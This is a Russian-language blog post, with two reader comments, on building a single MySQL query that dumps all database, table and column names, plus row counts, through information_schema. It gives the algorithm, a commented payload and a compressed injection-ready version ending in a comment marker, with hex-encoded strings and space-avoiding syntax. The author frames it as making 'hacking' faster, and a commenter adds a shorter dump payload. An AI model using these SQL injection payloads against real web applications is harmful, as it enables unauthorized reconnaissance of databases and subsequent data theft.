[MySQL] Структура базы за один запрос

1. Intro.
Как часто совершаются три действия — вытащить имена доступных БД, вытащить имена таблиц из нужной БД, вытащить имена колонок нужной таблицы? Лучше совместить их в одно.
2. Как?
За основу взят метод, предложенный profexer’ом в теме https://rdot.org/forum/showthread.php?t=1170. Тоже будем наращивать значение переменной. Есть несколько способов, пользуясь которыми можно было бы вытянуть нужные нам данные. Первый, который пришел мне ум — «низходящий». В чем его суть? Тянем имя первой доступной БД, потом тянем для нее имя первой таблицы, потом для этой таблицы тянем имена полей. Дальше для это БД тянем вторую таблицу и ее имена колонок. Так пока не переберем все таблицы первой БД. Потом переходим к следующей и т.д. При реализации такого способа возникли трудности с сохранием значений пользовательских переменных во «внутренних» циклам и от него пришлось отказаться.
Второй способ (который таки удалось реализовать) можно назвать «восходящий». Тут воспользуемся таблицей information_schema.columns. В каждой ее строке помимо имени колонки (column_name) содержиться еще и имя таблицы (table_name), к которой относится колонка, и имя БД (schema_name), к которой относится эта таблица. Если сейчас остановится и посмотреть внимательно, то покажется, что никаких «новых» способов не надо и данные можно получить простым SELECT’ом. Да, можно. Но есть два «но». Первое — если выбрать для всех строк значения этих трех колонок (schema_name, table_name, column_name), то получится много избыточных данных. table_name для части строк будет одинаковым, а schema_name будет одинаковым для еще большего числа строк. Второе «но» — если вытянуть только имена колонок, то не понятно, к какой таблице они относятся.
2.1. Алгоритм.
Решено задачи получается примерно таким:

  • Берем из information_schema.tables имя первой таблицы и имя первой БД, к которой она относится. Сохраняем их в пользовательских переменных.
  • Из таблицы information_schema.columns тянем имена всех колонок по очереди.
  • Для каждой из них проверяем такие условия:
    • поменялась ли таблица.
      • если да, то поменялась ли БД.
        • если поменялись и таблица, и БД, то выводим имя новой БД и имя новой таблицы.
        • если поменялась только таблица, то выводим имя новой таблицы.
      • если таблица не поменялась, то все равно смотрим, поменялась ли БД.
        • если да, то выводим имя новой БД и имя новой таблицы (это довольно редкий случай — он возникает, если в БД n-1 последняя таблица с именем A, а в БД n первая таблица с именем A).
        • если ничего не поменялось, то ничего не выводим.
  • Просто выводим имя поля.

Так же было бы неплохо выводить для каждой БД количество таблиц в ней (что бы не руками считать) и для каждой таблицы количество записей к ней. Первое реализуется запросом вида

SELECT(COUNT(*))FROM(information_schema.TABLES)WHERE(table_schema=(@a))

А вот со вторым не все так очевидно (минимум для меня). Имя таблицы хранится как значение пользовательской переменной. Так что просто SELECT COUNT(*) FROM @a не пройдет. Prepared statements тоже не вариант. Посмотрим чуть со стороны. Нам не сильно нужно точное значение строк в таблице. Небольшая погрешность на данном этапе погоды не сделает. Так что можно воспользоваться полем table_rows таблицы information_schema.tables. Про баги с table_rows можно найти информацию в Гугле. Дублироваться не буду. Скажу лишь, что значение в ячейках этого столбца может быть NULL (это для таблиц, которые в information_schema находятся). Так что надо результат выборки этого поля обернуть в isnull (при конкатенации строк, если одна из них null, то и результат null — нам такое не надо).
На словах — все. Программная реализация ниже. Код прокомментирован.

SELECT
	(@n)
FROM(
	SELECT
		@n:=0x20,
		(
			/*Этот SELECT обеспечивает инициализацию нужных переменных*/
			SELECT
				(
					CONCAT
						(
							@a:=table_schema, /*Первая БД*/
							@b:=TABLE_NAME, /*Первая таблица*/
							/*Переменные для сокращения длины запроса*/
							@c:=0x3c62723e, /*Перевод строки <br>. Так как мы используем <pre>, то можно было бы сделать просто n */
							@d:=0x2d2d2d, /*Используется при форматировании выводимых данных ---*/
							@s:=0x2028, /*Пробел и (*/
							@q:=0x29, /*)*/
							/*В этой переменной накапливается выводимая строка данных*/
							@n:=
								/*Имя первой БД и первой таблицы*/
								CONCAT
									(
										0x3c7072653e, /*<pre> - чисто, что бы читалось проще (моноширинный шрифт и все такое)*/
										@a,
										@s,
										(SELECT(COUNT(*))FROM(information_schema.TABLES)WHERE(table_schema=@a)), /*Выводим количество таблиц в данной БД*/
										@q,
										@c,
										@d,
										@b,
										@s,
										IFNULL((SELECT(table_rows)FROM(information_schema.TABLES)WHERE(TABLE_NAME=@b)),0x2d), /*Выводим количество записей в данной таблице*/
										@q
									)
						)
				)
			FROM
				(information_schema.TABLES)
			LIMIT/**/1 /*Вот единственный пробел, от которого не удалось избавиться*/
		),
		(
			SELECT
				(COUNT(*))
			FROM(information_schema.COLUMNS)
			/*Цикл по добавлению даных о колонках таблицах и БД в накапливаемую строку*/
			WHERE
				(
					@n:=CONCAT_WS
						(
							@c,
							@n,
							CONCAT
								(
									IF
										(
											TABLE_NAME!=@b,
											(
												/*Таблица поменялась*/
												IF
													(
														table_schema!=@a,
														(
															/*Поменялась таблица, поменялась БД*/
															SELECT
																(
																	CONCAT
																		(
																			@a:=table_schema,
																			@s,
																			(SELECT(COUNT(*))FROM(information_schema.TABLES)WHERE(table_schema=(@a))), /*Выводим количество таблиц в данной БД*/
																			@q,
																			@c,
																			@d,
																			@b:=TABLE_NAME,
																			@s,
																			IFNULL((SELECT(table_rows)FROM(information_schema.TABLES)WHERE(TABLE_NAME=@b)AND(table_schema=@a)),0x2d), /*Выводим количество записей в данной таблице*/
																			@q,
																			@c,
																			0x2d
																		)
																)
														),
														(
															/*Поменялась таблица, БД не поменалсь*/
															SELECT
																(
																	CONCAT
																		(
																			@d,
																			@b:=TABLE_NAME,
																			@s,
																			IFNULL((SELECT(table_rows)FROM(information_schema.TABLES)WHERE(TABLE_NAME=@b)AND(table_schema=@a)),0x2d), /*Выводим количество записей в данной таблице*/
																			@q,
																			@c,
																			0x2d
																		)
																)
														)
													)
											),
											(
												/*Таблица не поменялась*/
												IF
													(
														table_schema!=@a,
														(
															/*Таблица не поменялась, поменялась БД (совпало, что в одной БД однао таблица, имя которой совпадает с именем первой табилцы в след. БД)*/
															SELECT
																(
																	CONCAT
																		(
																			@a:=table_schema,
																			@s,
																			(SELECT(COUNT(*))FROM(information_schema.TABLES)WHERE(table_schema=(@a))), /*Выводим количество таблиц в данной БД*/
																			@q,
																			@c,
																			@d,
																			@b:=TABLE_NAME,
																			@s,
																			IFNULL((SELECT(table_rows)FROM(information_schema.TABLES)WHERE(TABLE_NAME=@b)AND(table_schema=@a)),0x2d), /*Выводим количество записей в данной таблице*/
																			@q,
																			@c,
																			0x2d
																		)
																)
														),
														(
															/*Таблица не поменялась, БД не поменялась*/
															SELECT(0x2d)
														)
													)
											)
										),
									/*Наконец-то выводим имя колонки*/
									0x2d2d2d2d2d,
									column_name
								)
						)
				)>0
		)
)a--

В ужатом виде запрос выглядит так:

SELECT(@n)FROM(SELECT@n:=0x20,(SELECT(CONCAT(@a:=table_schema,@b:=TABLE_NAME,@c:=0x3c62723e,@d:=0x2d2d2d,@s:=0x2028,@q:=0x29,@n:=CONCAT(0x3c7072653e,@a,@s,(SELECT(COUNT(*))FROM(information_schema.TABLES)WHERE(table_schema=@a)),@q,@c,@d,@b,@s,IFNULL((SELECT(table_rows)FROM(information_schema.TABLES)WHERE(TABLE_NAME=@b)),0x2d),@q)))FROM(information_schema.TABLES)LIMIT/**/1),(SELECT(COUNT(*))FROM(information_schema.COLUMNS)WHERE(@n:=CONCAT_WS(@c,@n,CONCAT(IF(TABLE_NAME!=@b,(IF(table_schema!=@a,(SELECT(CONCAT(@a:=table_schema,@s,(SELECT(COUNT(*))FROM(information_schema.TABLES)WHERE(table_schema=(@a))),@q,@c,@d,@b:=TABLE_NAME,@s,IFNULL((SELECT(table_rows)FROM(information_schema.TABLES)WHERE(TABLE_NAME=@b)AND(table_schema=@a)),0x2d),@q,@c,0x2d))),(SELECT(CONCAT(@d,@b:=TABLE_NAME,@s,IFNULL((SELECT(table_rows)FROM(information_schema.TABLES)WHERE(TABLE_NAME=@b)AND(table_schema=@a)),0x2d),@q,@c,0x2d))))),(IF(table_schema!=@a,(SELECT(CONCAT(@a:=table_schema,@s,(SELECT(COUNT(*))FROM(information_schema.TABLES)WHERE(table_schema=(@a))),@q,@c,@d,@b:=TABLE_NAME,@s,IFNULL((SELECT(table_rows)FROM(information_schema.TABLES)WHERE(TABLE_NAME=@b)AND(table_schema=@a)),0x2d),@q,@c,0x2d))),(SELECT(0x2d))))),0x2d2d2d2d2d,column_name)))>0))a--

3. Демо.
http://goo.gl/4GZxM
4. Outro.
Что можно было бы сделать еще? Пока приходит парочка мыслей — убрать вывод структуры information_schema. Это бы позволило избавиться от проверок isnull. Вторая — убрать единственный пробел в LIMIT. А вообще, взлом стал на два шага быстрее 🙂

, , , ,

2 комментария
  1. Boolean сказал(а):

    Запрос просто гигантский. Куда проще использовать что-то типа:

    SELECT (@) FROM (SELECT(@:=0x00),(SELECT (@) FROM (information_schema.columns) WHERE (table_schema>=@) AND (@)IN (@:=CONCAT(@,0x0a,’ [ ‘,table_schema,’ ] >’,table_name,’ > ‘,column_name))))x
    (c) websec.ca

  2. Svet сказал(а):

    Конечно этот запрос короче. Я когда свой писал, то упирался в то, что бы не повторять подряд вывод одной и той же schema_name и table_name. Потому и появилась куча условий. Так же у меня выводится кол-во таблиц в БД и кол-во записей в таблице (а это еще несколько доп. символов в запрос 🙂 ).

Оставить комментарий

Top ↑ | Main page | Back